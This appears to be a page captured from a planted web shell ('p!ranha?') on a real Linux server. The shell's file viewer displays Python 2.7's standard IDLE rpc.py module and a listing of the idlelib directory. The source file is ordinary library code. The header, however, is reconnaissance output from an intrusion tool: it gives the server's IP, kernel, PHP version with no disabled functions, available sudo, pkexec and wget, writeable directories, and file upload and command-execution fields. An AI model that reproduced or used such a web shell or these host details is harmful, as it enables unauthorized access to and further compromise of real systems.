p!ranha?
Server IP : 103.169.32.36  /  Your IP : 216.73.217.13
Web Server : Apache
System : Linux web.dpmptsp 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 5.6.40
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib64/python2.7/idlelib/

Upload File :
Curr3nt_D!r [ Writeable ] D0cum3nt_r0Ot [ Writeable ]

 
Command :
Current File : /lib64/python2.7/idlelib/rpc.py
"""RPC Implemention, originally written for the Python Idle IDE

For security reasons, GvR requested that Idle's Python execution server process
connect to the Idle process, which listens for the connection.  Since Idle has
only one client per server, this was not a limitation.

   +---------------------------------+ +-------------+
   | SocketServer.BaseRequestHandler | | SocketIO    |
   +---------------------------------+ +-------------+
                   ^                   | register()  |
                   |                   | unregister()|
                   |                   +-------------+
                   |                      ^  ^
                   |                      |  |
                   | + -------------------+  |
                   | |                       |
   +-------------------------+        +-----------------+
   | RPCHandler              |        | RPCClient       |
   | [attribute of RPCServer]|        |                 |
   +-------------------------+        +-----------------+

The RPCServer handler class is expected to provide register/unregister methods.
RPCHandler inherits the mix-in class SocketIO, which provides these methods.

See the Idle run.main() docstring for further information on how this was
accomplished in Idle.

"""

import sys
import os
import socket
import select
import SocketServer
import struct
import cPickle as pickle
import threading
import Queue
import traceback
import copy_reg
import types
import marshal


def unpickle_code(ms):
    co = marshal.loads(ms)
    assert isinstance(co, types.CodeType)
    return co

def pickle_code(co):
    assert isinstance(co, types.CodeType)
    ms = marshal.dumps(co)
    return unpickle_code, (ms,)

# XXX KBK 24Aug02 function pickling capability not used in Idle
#  def unpickle_function(ms):
#      return ms

#  def pickle_function(fn):
#      assert isinstance(fn, type.FunctionType)
#      return repr(fn)

copy_reg.pickle(types.CodeType, pickle_code, unpickle_code)
# copy_reg.pickle(types.FunctionType, pickle_function, unpickle_function)

BUFSIZE = 8*1024
LOCALHOST = '127.0.0.1'

class RPCServer(SocketServer.TCPServer):

    def __init__(self, addr, handlerclass=None):
        if handlerclass is None:
            handlerclass = RPCHandler
        SocketServer.TCPServer.__init__(self, addr, handlerclass)

    def server_bind(self):
        "Override TCPServer method, no bind() phase for connecting entity"
        pass

    def server_activate(self):
        """Override TCPServer method, connect() instead of listen()

        Due to the reversed connection, self.server_address is actually the
        address of the Idle Client to which we are connecting.

        """
        self.socket.connect(self.server_address)

    def get_request(self):
        "Override TCPServer method, return already connected socket"
        return self.socket, self.server_address

    def handle_error(self, request, client_address):
        """Override TCPServer method

        Error message goes to __stderr__.  No error message if exiting
        normally or socket raised EOF.  Other exceptions not handled in
        server code will cause os._exit.

        """
        try:
            raise
        except SystemExit:
            raise
        except:
            erf = sys.__stderr__
            print>>erf, '\n' + '-'*40
            print>>erf, 'Unhandled server exception!'
            print>>erf, 'Thread: %s' % threading.currentThread().getName()
            print>>erf, 'Client Address: ', client_address
            print>>erf, 'Request: ', repr(request)
            traceback.print_exc(file=erf)
            print>>erf, '\n*** Unrecoverable, server exiting!'
            print>>erf, '-'*40
            os._exit(0)

#----------------- end class RPCServer --------------------

objecttable = {}
request_queue = Queue.Queue(0)
response_queue = Queue.Queue(0)


class SocketIO(object):

    nextseq = 0

    def __init__(self, sock, objtable=None, debugging=None):
        self.sockthread = threading.currentThread()
        if debugging is not None:
            self.debugging = debugging
        self.sock = sock
        if objtable is None:
            objtable = objecttable
        self.objtable = objtable
        self.responses = {}
        self.cvars = {}

    def close(self):
        sock = self.sock
        self.sock = None
        if sock is not None:
            sock.close()

    def exithook(self):
        "override for specific exit action"
        os._exit(0)

    def debug(self, *args):
        if not self.debugging:
            return
        s = self.location + " " + str(threading.currentThread().getName())
        for a in args:
            s = s + " " + str(a)
        print>>sys.__stderr__, s

    def register(self, oid, object):
        self.objtable[oid] = object

    def unregister(self, oid):
        try:
            del self.objtable[oid]
        except KeyError:
            pass

    def localcall(self, seq, request):
        self.debug("localcall:", request)
        try:
            how, (oid, methodname, args, kwargs) = request
        except TypeError:
            return ("ERROR", "Bad request format")
        if oid not in self.objtable:
            return ("ERROR", "Unknown object id: %r" % (oid,))
        obj = self.objtable[oid]
        if methodname == "__methods__":
            methods = {}
            _getmethods(obj, methods)
            return ("OK", methods)
        if methodname == "__attributes__":
            attributes = {}
            _getattributes(obj, attributes)
            return ("OK", attributes)
        if not hasattr(obj, methodname):
            return ("ERROR", "Unsupported method name: %r" % (methodname,))
        method = getattr(obj, methodname)
        try:
            if how == 'CALL':
                ret = method(*args, **kwargs)
                if isinstance(ret, RemoteObject):
                    ret = remoteref(ret)
                return ("OK", ret)
            elif how == 'QUEUE':
                request_queue.put((seq, (method, args, kwargs)))
                return("QUEUED", None)
            else:
                return ("ERROR", "Unsupported message type: %s" % how)
        except SystemExit:
            raise
        except socket.error:
            raise
        except:
            msg = "*** Internal Error: rpc.py:SocketIO.localcall()\n\n"\
                  " Object: %s \n Method: %s \n Args: %s\n"
            print>>sys.__stderr__, msg % (oid, method, args)
            traceback.print_exc(file=sys.__stderr__)
            return ("EXCEPTION", None)

    def remotecall(self, oid, methodname, args, kwargs):
        self.debug("remotecall:asynccall: ", oid, methodname)
        seq = self.asynccall(oid, methodname, args, kwargs)
        return self.asyncreturn(seq)

    def remotequeue(self, oid, methodname, args, kwargs):
        self.debug("remotequeue:asyncqueue: ", oid, methodname)
        seq = self.asyncqueue(oid, methodname, args, kwargs)
        return self.asyncreturn(seq)

    def asynccall(self, oid, methodname, args, kwargs):
        request = ("CALL", (oid, methodname, args, kwargs))
        seq = self.newseq()
        if threading.currentThread() != self.sockthread:
            cvar = threading.Condition()
            self.cvars[seq] = cvar
        self.debug(("asynccall:%d:" % seq), oid, methodname, args, kwargs)
        self.putmessage((seq, request))
        return seq

    def asyncqueue(self, oid, methodname, args, kwargs):
        request = ("QUEUE", (oid, methodname, args, kwargs))
        seq = self.newseq()
        if threading.currentThread() != self.sockthread:
            cvar = threading.Condition()
            self.cvars[seq] = cvar
        self.debug(("asyncqueue:%d:" % seq), oid, methodname, args, kwargs)
        self.putmessage((seq, request))
        return seq

    def asyncreturn(self, seq):
        self.debug("asyncreturn:%d:call getresponse(): " % seq)
        response = self.getresponse(seq, wait=0.05)
        self.debug(("asyncreturn:%d:response: " % seq), response)
        return self.decoderesponse(response)

    def decoderesponse(self, response):
        how, what = response
        if how == "OK":
            return what
        if how == "QUEUED":
            return None
        if how == "EXCEPTION":
            self.debug("decoderesponse: EXCEPTION")
            return None
        if how == "EOF":
            self.debug("decoderesponse: EOF")
            self.decode_interrupthook()
            return None
        if how == "ERROR":
            self.debug("decoderesponse: Internal ERROR:", what)
            raise RuntimeError, what
        raise SystemError, (how, what)

    def decode_interrupthook(self):
        ""
        raise EOFError

    def mainloop(self):
        """Listen on socket until I/O not ready or EOF

        pollresponse() will loop looking for seq number None, which
        never comes, and exit on EOFError.

        """
        try:
            self.getresponse(myseq=None, wait=0.05)
        except EOFError:
            self.debug("mainloop:return")
            return

    def getresponse(self, myseq, wait):
        response = self._getresponse(myseq, wait)
        if response is not None:
            how, what = response
            if how == "OK":
                response = how, self._proxify(what)
        return response

    def _proxify(self, obj):
        if isinstance(obj, RemoteProxy):
            return RPCProxy(self, obj.oid)
        if isinstance(obj, types.ListType):
            return map(self._proxify, obj)
        # XXX Check for other types -- not currently needed
        return obj

    def _getresponse(self, myseq, wait):
        self.debug("_getresponse:myseq:", myseq)
        if threading.currentThread() is self.sockthread:
            # this thread does all reading of requests or responses
            while 1:
                response = self.pollresponse(myseq, wait)
                if response is not None:
                    return response
        else:
            # wait for notification from socket handling thread
            cvar = self.cvars[myseq]
            cvar.acquire()
            while myseq not in self.responses:
                cvar.wait()
            response = self.responses[myseq]
            self.debug("_getresponse:%s: thread woke up: response: %s" %
                       (myseq, response))
            del self.responses[myseq]
            del self.cvars[myseq]
            cvar.release()
            return response

    def newseq(self):
        self.nextseq = seq = self.nextseq + 2
        return seq

    def putmessage(self, message):
        self.debug("putmessage:%d:" % message[0])
        try:
            s = pickle.dumps(message)
        except pickle.PicklingError:
            print >>sys.__stderr__, "Cannot pickle:", repr(message)
            raise
        s = struct.pack("<i", len(s)) + s
        while len(s) > 0:
            try:
                r, w, x = select.select([], [self.sock], [])
                n = self.sock.send(s[:BUFSIZE])
            except (AttributeError, TypeError):
                raise IOError, "socket no longer exists"
            except socket.error:
                raise
            else:
                s = s[n:]

    buffer = ""
    bufneed = 4
    bufstate = 0 # meaning: 0 => reading count; 1 => reading data

    def pollpacket(self, wait):
        self._stage0()
        if len(self.buffer) < self.bufneed:
            r, w, x = select.select([self.sock.fileno()], [], [], wait)
            if len(r) == 0:
                return None
            try:
                s = self.sock.recv(BUFSIZE)
            except socket.error:
                raise EOFError
            if len(s) == 0:
                raise EOFError
            self.buffer += s
            self._stage0()
        return self._stage1()

    def _stage0(self):
        if self.bufstate == 0 and len(self.buffer) >= 4:
            s = self.buffer[:4]
            self.buffer = self.buffer[4:]
            self.bufneed = struct.unpack("<i", s)[0]
            self.bufstate = 1

    def _stage1(self):
        if self.bufstate == 1 and len(self.buffer) >= self.bufneed:
            packet = self.buffer[:self.bufneed]
            self.buffer = self.buffer[self.bufneed:]
            self.bufneed = 4
            self.bufstate = 0
            return packet

    def pollmessage(self, wait):
        packet = self.pollpacket(wait)
        if packet is None:
            return None
        try:
            message = pickle.loads(packet)
        except pickle.UnpicklingError:
            print >>sys.__stderr__, "-----------------------"
            print >>sys.__stderr__, "cannot unpickle packet:", repr(packet)
            traceback.print_stack(file=sys.__stderr__)
            print >>sys.__stderr__, "-----------------------"
            raise
        return message

    def pollresponse(self, myseq, wait):
        """Handle messages received on the socket.

        Some messages received may be asynchronous 'call' or 'queue' requests,
        and some may be responses for other threads.

        'call' requests are passed to self.localcall() with the expectation of
        immediate execution, during which time the socket is not serviced.

        'queue' requests are used for tasks (which may block or hang) to be
        processed in a different thread.  These requests are fed into
        request_queue by self.localcall().  Responses to queued requests are
        taken from response_queue and sent across the link with the associated
        sequence numbers.  Messages in the queues are (sequence_number,
        request/response) tuples and code using this module removing messages
        from the request_queue is responsible for returning the correct
        sequence number in the response_queue.

        pollresponse() will loop until a response message with the myseq
        sequence number is received, and will save other responses in
        self.responses and notify the owning thread.

        """
        while 1:
            # send queued response if there is one available
            try:
                qmsg = response_queue.get(0)
            except Queue.Empty:
                pass
            else:
                seq, response = qmsg
                message = (seq, ('OK', response))
                self.putmessage(message)
            # poll for message on link
            try:
                message = self.pollmessage(wait)
                if message is None:  # socket not ready
                    return None
            except EOFError:
                self.handle_EOF()
                return None
            except AttributeError:
                return None
            seq, resq = message
            how = resq[0]
            self.debug("pollresponse:%d:myseq:%s" % (seq, myseq))
            # process or queue a request
            if how in ("CALL", "QUEUE"):
                self.debug("pollresponse:%d:localcall:call:" % seq)
                response = self.localcall(seq, resq)
                self.debug("pollresponse:%d:localcall:response:%s"
                           % (seq, response))
                if how == "CALL":
                    self.putmessage((seq, response))
                elif how == "QUEUE":
                    # don't acknowledge the 'queue' request!
                    pass
                continue
            # return if completed message transaction
            elif seq == myseq:
                return resq
            # must be a response for a different thread:
            else:
                cv = self.cvars.get(seq, None)
                # response involving unknown sequence number is discarded,
                # probably intended for prior incarnation of server
                if cv is not None:
                    cv.acquire()
                    self.responses[seq] = resq
                    cv.notify()
                    cv.release()
                continue

    def handle_EOF(self):
        "action taken upon link being closed by peer"
        self.EOFhook()
        self.debug("handle_EOF")
        for key in self.cvars:
            cv = self.cvars[key]
            cv.acquire()
            self.responses[key] = ('EOF', None)
            cv.notify()
            cv.release()
        # call our (possibly overridden) exit function
        self.exithook()

    def EOFhook(self):
        "Classes using rpc client/server can override to augment EOF action"
        pass

#----------------- end class SocketIO --------------------

class RemoteObject(object):
    # Token mix-in class
    pass

def remoteref(obj):
    oid = id(obj)
    objecttable[oid] = obj
    return RemoteProxy(oid)

class RemoteProxy(object):

    def __init__(self, oid):
        self.oid = oid

class RPCHandler(SocketServer.BaseRequestHandler, SocketIO):

    debugging = False
    location = "#S"  # Server

    def __init__(self, sock, addr, svr):
        svr.current_handler = self ## cgt xxx
        SocketIO.__init__(self, sock)
        SocketServer.BaseRequestHandler.__init__(self, sock, addr, svr)

    def handle(self):
        "handle() method required by SocketServer"
        self.mainloop()

    def get_remote_proxy(self, oid):
        return RPCProxy(self, oid)

class RPCClient(SocketIO):

    debugging = False
    location = "#C"  # Client

    nextseq = 1 # Requests coming from the client are odd numbered

    def __init__(self, address, family=socket.AF_INET, type=socket.SOCK_STREAM):
        self.listening_sock = socket.socket(family, type)
        self.listening_sock.bind(address)
        self.listening_sock.listen(1)

    def accept(self):
        working_sock, address = self.listening_sock.accept()
        if self.debugging:
            print>>sys.__stderr__, "****** Connection request from ", address
        if address[0] == LOCALHOST:
            SocketIO.__init__(self, working_sock)
        else:
            print>>sys.__stderr__, "** Invalid host: ", address
            raise socket.error

    def get_remote_proxy(self, oid):
        return RPCProxy(self, oid)

class RPCProxy(object):

    __methods = None
    __attributes = None

    def __init__(self, sockio, oid):
        self.sockio = sockio
        self.oid = oid

    def __getattr__(self, name):
        if self.__methods is None:
            self.__getmethods()
        if self.__methods.get(name):
            return MethodProxy(self.sockio, self.oid, name)
        if self.__attributes is None:
            self.__getattributes()
        if name in self.__attributes:
            value = self.sockio.remotecall(self.oid, '__getattribute__',
                                           (name,), {})
            return value
        else:
            raise AttributeError, name

    def __getattributes(self):
        self.__attributes = self.sockio.remotecall(self.oid,
                                                "__attributes__", (), {})

    def __getmethods(self):
        self.__methods = self.sockio.remotecall(self.oid,
                                                "__methods__", (), {})

def _getmethods(obj, methods):
    # Helper to get a list of methods from an object
    # Adds names to dictionary argument 'methods'
    for name in dir(obj):
        attr = getattr(obj, name)
        if hasattr(attr, '__call__'):
            methods[name] = 1
    if type(obj) == types.InstanceType:
        _getmethods(obj.__class__, methods)
    if type(obj) == types.ClassType:
        for super in obj.__bases__:
            _getmethods(super, methods)

def _getattributes(obj, attributes):
    for name in dir(obj):
        attr = getattr(obj, name)
        if not hasattr(attr, '__call__'):
            attributes[name] = 1

class MethodProxy(object):

    def __init__(self, sockio, oid, name):
        self.sockio = sockio
        self.oid = oid
        self.name = name

    def __call__(self, *args, **kwargs):
        value = self.sockio.remotecall(self.oid, self.name, args, kwargs)
        return value


# XXX KBK 09Sep03  We need a proper unit test for this module.  Previously
#                  existing test code was removed at Rev 1.27 (r34098).
N4m3
5!z3
L45t M0d!f!3d
0wn3r / Gr0up
P3Rm!55!0n5
0pt!0n5
..
--
December 20 2023 04:52:59
0 / 0
0755
Icons
--
December 20 2023 04:52:58
0 / 0
0755
AutoComplete.py
8.786 KB
November 14 2023 16:14:19
0 / 0
0644
AutoComplete.pyc
7.693 KB
November 14 2023 16:14:41
0 / 0
0644
AutoComplete.pyo
7.693 KB
November 14 2023 16:14:41
0 / 0
0644
AutoCompleteWindow.py
16.798 KB
November 14 2023 16:14:19
0 / 0
0644
AutoCompleteWindow.pyc
12.15 KB
November 14 2023 16:14:41
0 / 0
0644
AutoCompleteWindow.pyo
12.093 KB
November 14 2023 16:14:43
0 / 0
0644
AutoExpand.py
2.425 KB
November 14 2023 16:14:19
0 / 0
0644
AutoExpand.pyc
2.5 KB
November 14 2023 16:14:41
0 / 0
0644
AutoExpand.pyo
2.5 KB
November 14 2023 16:14:41
0 / 0
0644
Bindings.py
3.218 KB
November 14 2023 16:14:19
0 / 0
0644
Bindings.pyc
4.763 KB
November 14 2023 16:14:41
0 / 0
0644
Bindings.pyo
4.763 KB
November 14 2023 16:14:41
0 / 0
0644
CREDITS.txt
1.821 KB
November 14 2023 16:14:19
0 / 0
0644
CallTipWindow.py
5.981 KB
November 14 2023 16:14:19
0 / 0
0644
CallTipWindow.pyc
6.139 KB
November 14 2023 16:14:41
0 / 0
0644
CallTipWindow.pyo
6.139 KB
November 14 2023 16:14:41
0 / 0
0644
CallTips.py
7.755 KB
November 14 2023 16:14:19
0 / 0
0644
CallTips.pyc
10.141 KB
November 14 2023 16:14:41
0 / 0
0644
CallTips.pyo
10.141 KB
November 14 2023 16:14:41
0 / 0
0644
ChangeLog
55.071 KB
November 14 2023 16:14:19
0 / 0
0644
ClassBrowser.py
6.22 KB
November 14 2023 16:14:19
0 / 0
0644
ClassBrowser.pyc
8.946 KB
November 14 2023 16:14:41
0 / 0
0644
ClassBrowser.pyo
8.946 KB
November 14 2023 16:14:41
0 / 0
0644
CodeContext.py
8.151 KB
November 14 2023 16:14:19
0 / 0
0644
CodeContext.pyc
6.516 KB
November 14 2023 16:14:41
0 / 0
0644
CodeContext.pyo
6.473 KB
November 14 2023 16:14:44
0 / 0
0644
ColorDelegator.py
10.13 KB
November 14 2023 16:14:19
0 / 0
0644
ColorDelegator.pyc
8.71 KB
November 14 2023 16:14:41
0 / 0
0644
ColorDelegator.pyo
8.71 KB
November 14 2023 16:14:41
0 / 0
0644
Debugger.py
15.447 KB
November 14 2023 16:14:19
0 / 0
0644
Debugger.pyc
16.548 KB
November 14 2023 16:14:41
0 / 0
0644
Debugger.pyo
16.548 KB
November 14 2023 16:14:41
0 / 0
0644
Delegator.py
0.812 KB
November 14 2023 16:14:19
0 / 0
0644
Delegator.pyc
1.581 KB
November 14 2023 16:14:41
0 / 0
0644
Delegator.pyo
1.581 KB
November 14 2023 16:14:41
0 / 0
0644
EditorWindow.py
63.29 KB
November 14 2023 16:14:19
0 / 0
0644
EditorWindow.pyc
55.128 KB
November 14 2023 16:14:41
0 / 0
0644
EditorWindow.pyo
55.028 KB
November 14 2023 16:14:44
0 / 0
0644
FileList.py
3.57 KB
November 14 2023 16:14:19
0 / 0
0644
FileList.pyc
3.855 KB
November 14 2023 16:14:41
0 / 0
0644
FileList.pyo
3.823 KB
November 14 2023 16:14:44
0 / 0
0644
FormatParagraph.py
5.658 KB
November 14 2023 16:14:19
0 / 0
0644
FormatParagraph.pyc
4.687 KB
November 14 2023 16:14:41
0 / 0
0644
FormatParagraph.pyo
4.687 KB
November 14 2023 16:14:41
0 / 0
0644
GrepDialog.py
3.957 KB
November 14 2023 16:14:19
0 / 0
0644
GrepDialog.pyc
4.901 KB
November 14 2023 16:14:41
0 / 0
0644
GrepDialog.pyo
4.901 KB
November 14 2023 16:14:41
0 / 0
0644
HISTORY.txt
10.075 KB
November 14 2023 16:14:19
0 / 0
0644
HyperParser.py
10.314 KB
November 14 2023 16:14:19
0 / 0
0644
HyperParser.pyc
6.488 KB
November 14 2023 16:14:41
0 / 0
0644
HyperParser.pyo
6.488 KB
November 14 2023 16:14:41
0 / 0
0644
IOBinding.py
20.688 KB
November 14 2023 16:14:19
0 / 0
0644
IOBinding.pyc
17.16 KB
November 14 2023 16:14:41
0 / 0
0644
IOBinding.pyo
17.16 KB
November 14 2023 16:14:41
0 / 0
0644
IdleHistory.py
3.071 KB
November 14 2023 16:14:19
0 / 0
0644
IdleHistory.pyc
3.126 KB
November 14 2023 16:14:41
0 / 0
0644
IdleHistory.pyo
3.126 KB
November 14 2023 16:14:41
0 / 0
0644
MultiCall.py
17.073 KB
November 14 2023 16:14:19
0 / 0
0644
MultiCall.pyc
15.549 KB
November 14 2023 16:14:41
0 / 0
0644
MultiCall.pyo
15.477 KB
November 14 2023 16:14:44
0 / 0
0644
MultiStatusBar.py
0.765 KB
November 14 2023 16:14:19
0 / 0
0644
MultiStatusBar.pyc
1.491 KB
November 14 2023 16:14:41
0 / 0
0644
MultiStatusBar.pyo
1.491 KB
November 14 2023 16:14:41
0 / 0
0644
NEWS.txt
28.315 KB
November 14 2023 16:14:19
0 / 0
0644
ObjectBrowser.py
4.053 KB
November 14 2023 16:14:19
0 / 0
0644
ObjectBrowser.pyc
6.56 KB
November 14 2023 16:14:41
0 / 0
0644
ObjectBrowser.pyo
6.56 KB
November 14 2023 16:14:41
0 / 0
0644
OutputWindow.py
4.469 KB
November 14 2023 16:14:19
0 / 0
0644
OutputWindow.pyc
5.109 KB
November 14 2023 16:14:41
0 / 0
0644
OutputWindow.pyo
5.109 KB
November 14 2023 16:14:41
0 / 0
0644
ParenMatch.py
6.472 KB
November 14 2023 16:14:19
0 / 0
0644
ParenMatch.pyc
6.816 KB
November 14 2023 16:14:41
0 / 0
0644
ParenMatch.pyo
6.816 KB
November 14 2023 16:14:41
0 / 0
0644
PathBrowser.py
2.578 KB
November 14 2023 16:14:19
0 / 0
0644
PathBrowser.pyc
4.024 KB
November 14 2023 16:14:41
0 / 0
0644
PathBrowser.pyo
4.024 KB
November 14 2023 16:14:41
0 / 0
0644
Percolator.py
2.555 KB
November 14 2023 16:14:19
0 / 0
0644
Percolator.pyc
3.553 KB
November 14 2023 16:14:41
0 / 0
0644
Percolator.pyo
3.373 KB
November 14 2023 16:14:44
0 / 0
0644
PyParse.py
19.053 KB
November 14 2023 16:14:19
0 / 0
0644
PyParse.pyc
9.77 KB
November 14 2023 16:14:41
0 / 0
0644
PyParse.pyo
9.342 KB
November 14 2023 16:14:44
0 / 0
0644
PyShell.py
54.809 KB
November 14 2023 16:14:19
0 / 0
0644
PyShell.pyc
49.144 KB
November 14 2023 16:14:41
0 / 0
0644
PyShell.pyo
49.044 KB
November 14 2023 16:14:44
0 / 0
0644
README.txt
2.562 KB
November 14 2023 16:14:19
0 / 0
0644
RemoteDebugger.py
11.381 KB
November 14 2023 16:14:19
0 / 0
0644
RemoteDebugger.pyc
15.967 KB
November 14 2023 16:14:41
0 / 0
0644
RemoteDebugger.pyo
15.816 KB
November 14 2023 16:14:44
0 / 0
0644
RemoteObjectBrowser.py
0.92 KB
November 14 2023 16:14:19
0 / 0
0644
RemoteObjectBrowser.pyc
2.1 KB
November 14 2023 16:14:41
0 / 0
0644
RemoteObjectBrowser.pyo
2.1 KB
November 14 2023 16:14:41
0 / 0
0644
ReplaceDialog.py
5.691 KB
November 14 2023 16:14:19
0 / 0
0644
ReplaceDialog.pyc
6.32 KB
November 14 2023 16:14:41
0 / 0
0644
ReplaceDialog.pyo
6.32 KB
November 14 2023 16:14:41
0 / 0
0644
RstripExtension.py
0.805 KB
November 14 2023 16:14:19
0 / 0
0644
RstripExtension.pyc
1.445 KB
November 14 2023 16:14:41
0 / 0
0644
RstripExtension.pyo
1.445 KB
November 14 2023 16:14:41
0 / 0
0644
ScriptBinding.py
8.217 KB
November 14 2023 16:14:19
0 / 0
0644
ScriptBinding.pyc
7.962 KB
November 14 2023 16:14:41
0 / 0
0644
ScriptBinding.pyo
7.962 KB
November 14 2023 16:14:41
0 / 0
0644
ScrolledList.py
3.901 KB
November 14 2023 16:14:19
0 / 0
0644
ScrolledList.pyc
6.03 KB
November 14 2023 16:14:41
0 / 0
0644
ScrolledList.pyo
6.03 KB
November 14 2023 16:14:41
0 / 0
0644
SearchDialog.py
1.992 KB
November 14 2023 16:14:19
0 / 0
0644
SearchDialog.pyc
2.935 KB
November 14 2023 16:14:41
0 / 0
0644
SearchDialog.pyo
2.935 KB
November 14 2023 16:14:41
0 / 0
0644
SearchDialogBase.py
4.282 KB
November 14 2023 16:14:19
0 / 0
0644
SearchDialogBase.pyc
5.365 KB
November 14 2023 16:14:41
0 / 0
0644
SearchDialogBase.pyo
5.365 KB
November 14 2023 16:14:41
0 / 0
0644
SearchEngine.py
6.573 KB
November 14 2023 16:14:19
0 / 0
0644
SearchEngine.pyc
7.017 KB
November 14 2023 16:14:41
0 / 0
0644
SearchEngine.pyo
7.017 KB
November 14 2023 16:14:41
0 / 0
0644
StackViewer.py
3.767 KB
November 14 2023 16:14:19
0 / 0
0644
StackViewer.pyc
5.788 KB
November 14 2023 16:14:41
0 / 0
0644
StackViewer.pyo
5.788 KB
November 14 2023 16:14:41
0 / 0
0644
TODO.txt
8.279 KB
November 14 2023 16:14:19
0 / 0
0644
ToolTip.py
2.672 KB
November 14 2023 16:14:19
0 / 0
0644
ToolTip.pyc
4.053 KB
November 14 2023 16:14:41
0 / 0
0644
ToolTip.pyo
4.053 KB
November 14 2023 16:14:41
0 / 0
0644
TreeWidget.py
14.874 KB
November 14 2023 16:14:19
0 / 0
0644
TreeWidget.pyc
17.477 KB
November 14 2023 16:14:41
0 / 0
0644
TreeWidget.pyo
17.477 KB
November 14 2023 16:14:41
0 / 0
0644
UndoDelegator.py
10.036 KB
November 14 2023 16:14:19
0 / 0
0644
UndoDelegator.pyc
12.274 KB
November 14 2023 16:14:41
0 / 0
0644
UndoDelegator.pyo
12.274 KB
November 14 2023 16:14:41
0 / 0
0644
WidgetRedirector.py
4.371 KB
November 14 2023 16:14:19
0 / 0
0644
WidgetRedirector.pyc
5.229 KB
November 14 2023 16:14:41
0 / 0
0644
WidgetRedirector.pyo
5.229 KB
November 14 2023 16:14:41
0 / 0
0644
WindowList.py
2.415 KB
November 14 2023 16:14:19
0 / 0
0644
WindowList.pyc
3.551 KB
November 14 2023 16:14:41
0 / 0
0644
WindowList.pyo
3.551 KB
November 14 2023 16:14:41
0 / 0
0644
ZoomHeight.py
1.276 KB
November 14 2023 16:14:19
0 / 0
0644
ZoomHeight.pyc
1.614 KB
November 14 2023 16:14:41
0 / 0
0644
ZoomHeight.pyo
1.614 KB
November 14 2023 16:14:41
0 / 0
0644
__init__.py
0.036 KB
November 14 2023 16:14:19
0 / 0
0644
__init__.pyc
0.124 KB
November 14 2023 16:14:41
0 / 0
0644
__init__.pyo
0.124 KB
November 14 2023 16:14:41
0 / 0
0644
aboutDialog.py
6.421 KB
November 14 2023 16:14:19
0 / 0
0644
aboutDialog.pyc
6.632 KB
November 14 2023 16:14:41
0 / 0
0644
aboutDialog.pyo
6.632 KB
November 14 2023 16:14:41
0 / 0
0644
config-extensions.def
2.723 KB
November 14 2023 16:14:19
0 / 0
0644
config-highlight.def
1.699 KB
November 14 2023 16:14:19
0 / 0
0644
config-keys.def
7.348 KB
November 14 2023 16:14:19
0 / 0
0644
config-main.def
2.453 KB
November 14 2023 16:14:19
0 / 0
0644
configDialog.py
52.232 KB
November 14 2023 16:14:19
0 / 0
0644
configDialog.pyc
43.814 KB
November 14 2023 16:14:41
0 / 0
0644
configDialog.pyo
43.814 KB
November 14 2023 16:14:41
0 / 0
0644
configHandler.py
28.679 KB
November 14 2023 16:14:19
0 / 0
0644
configHandler.pyc
26.834 KB
November 14 2023 16:14:41
0 / 0
0644
configHandler.pyo
26.834 KB
November 14 2023 16:14:41
0 / 0
0644
configHelpSourceEdit.py
6.523 KB
November 14 2023 16:14:19
0 / 0
0644
configHelpSourceEdit.pyc
6.564 KB
November 14 2023 16:14:41
0 / 0
0644
configHelpSourceEdit.pyo
6.564 KB
November 14 2023 16:14:41
0 / 0
0644
configSectionNameDialog.py
3.633 KB
November 14 2023 16:14:19
0 / 0
0644
configSectionNameDialog.pyc
4.21 KB
November 14 2023 16:14:41
0 / 0
0644
configSectionNameDialog.pyo
4.21 KB
November 14 2023 16:14:41
0 / 0
0644
dynOptionMenuWidget.py
1.271 KB
November 14 2023 16:14:19
0 / 0
0644
dynOptionMenuWidget.pyc
1.661 KB
November 14 2023 16:14:41
0 / 0
0644
dynOptionMenuWidget.pyo
1.661 KB
November 14 2023 16:14:41
0 / 0
0644
extend.txt
3.557 KB
November 14 2023 16:14:19
0 / 0
0644
help.txt
11.719 KB
November 14 2023 16:14:19
0 / 0
0644
idle.py
0.391 KB
November 14 2023 16:14:19
0 / 0
0644
idle.pyc
0.396 KB
November 14 2023 16:14:41
0 / 0
0644
idle.pyo
0.396 KB
November 14 2023 16:14:41
0 / 0
0644
idle.pyw
0.648 KB
November 14 2023 16:14:19
0 / 0
0644
idlever.py
0.022 KB
November 14 2023 16:14:19
0 / 0
0644
idlever.pyc
0.155 KB
November 14 2023 16:14:41
0 / 0
0644
idlever.pyo
0.155 KB
November 14 2023 16:14:41
0 / 0
0644
keybindingDialog.py
12.116 KB
November 14 2023 16:14:19
0 / 0
0644
keybindingDialog.pyc
12.054 KB
November 14 2023 16:14:41
0 / 0
0644
keybindingDialog.pyo
12.054 KB
November 14 2023 16:14:41
0 / 0
0644
macosxSupport.py
6.076 KB
November 14 2023 16:14:19
0 / 0
0644
macosxSupport.pyc
6.249 KB
November 14 2023 16:14:41
0 / 0
0644
macosxSupport.pyo
6.249 KB
November 14 2023 16:14:41
0 / 0
0644
rpc.py
19.751 KB
November 14 2023 16:14:19
0 / 0
0644
rpc.pyc
21.262 KB
November 14 2023 16:14:41
0 / 0
0644
rpc.pyo
21.158 KB
November 14 2023 16:14:44
0 / 0
0644
run.py
11.54 KB
November 14 2023 16:14:19
0 / 0
0644
run.pyc
12.137 KB
November 14 2023 16:14:41
0 / 0
0644
run.pyo
12.08 KB
November 14 2023 16:14:44
0 / 0
0644
tabbedpages.py
17.762 KB
November 14 2023 16:14:19
0 / 0
0644
tabbedpages.pyc
17.665 KB
November 14 2023 16:14:41
0 / 0
0644
tabbedpages.pyo
17.665 KB
November 14 2023 16:14:41
0 / 0
0644
textView.py
3.462 KB
November 14 2023 16:14:19
0 / 0
0644
textView.pyc
4.199 KB
November 14 2023 16:14:41
0 / 0
0644
textView.pyo
4.199 KB
November 14 2023 16:14:41
0 / 0
0644